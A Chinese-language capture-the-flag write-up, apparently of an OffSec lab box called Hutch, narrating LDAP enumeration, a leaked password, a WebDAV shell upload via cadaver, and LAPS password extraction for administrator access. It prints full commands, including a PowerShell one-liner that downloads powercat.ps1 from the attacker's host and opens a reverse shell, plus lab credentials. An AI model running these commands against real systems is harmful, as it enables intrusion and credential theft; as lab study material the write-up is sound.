web的端口都访问了一下似乎没啥东西

但是通过nmap的扫描我们发现了ldap协议的端口

这个端口我也不是很会打 上hacktricks看看

在hacktricks的帮助下我们用这个命令 来获取信息

nmap -n -sV --script "ldap* and not brute" 192.168.196.122

经过我略微研究了一下ldap协议

我们还可以这么写 来收集里面的信息

ldapsearch -H ldap://192.168.196.122 -x -b "dc=hutch,dc=offsec" "(objectClass=*)"

然后我们在里面发现了一个很有意思的东西

信息泄露 它给出了密码 以及用户名





fmcsorley CrabSharkJellyfish192

那么我们怎么利用呢

看wp



关注我们nmap扫描的结果我们会发现他的80端口比较特别

我们观察到他支持cadaver 的特有方法proppatch

那么我们就可通过cadaver连接他



连接成功 并put 上传shell



开始反弹shell

在80端口放置我们的powercat.ps1 反弹shell脚本



然后再监听135端口

最后执行反弹shell命令

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.250/powercat.ps1');powercat -c 192.168.45.250 -p 135 -e powershell

反弹成功



拿到第一个flag

接下来进入提权环节

不太懂了

看wp

ldapsearch -x -H 'ldap://192.168.196.122' -D 'hutch\fmcsorley' -w 'CrabSharkJellyfish192' -b 'dc=hutch,dc=offsec' "(ms-MCS-AdmPwd=*)" 用这个获取administrator的password4b&+cm$]otFTwr



python3 pyexec.py hutch.offsec/administrator:'4b&+cm$]otFTwr'@192.168.196.122



提权成功

边学边打花了5个小时左右

window不懂的太多了
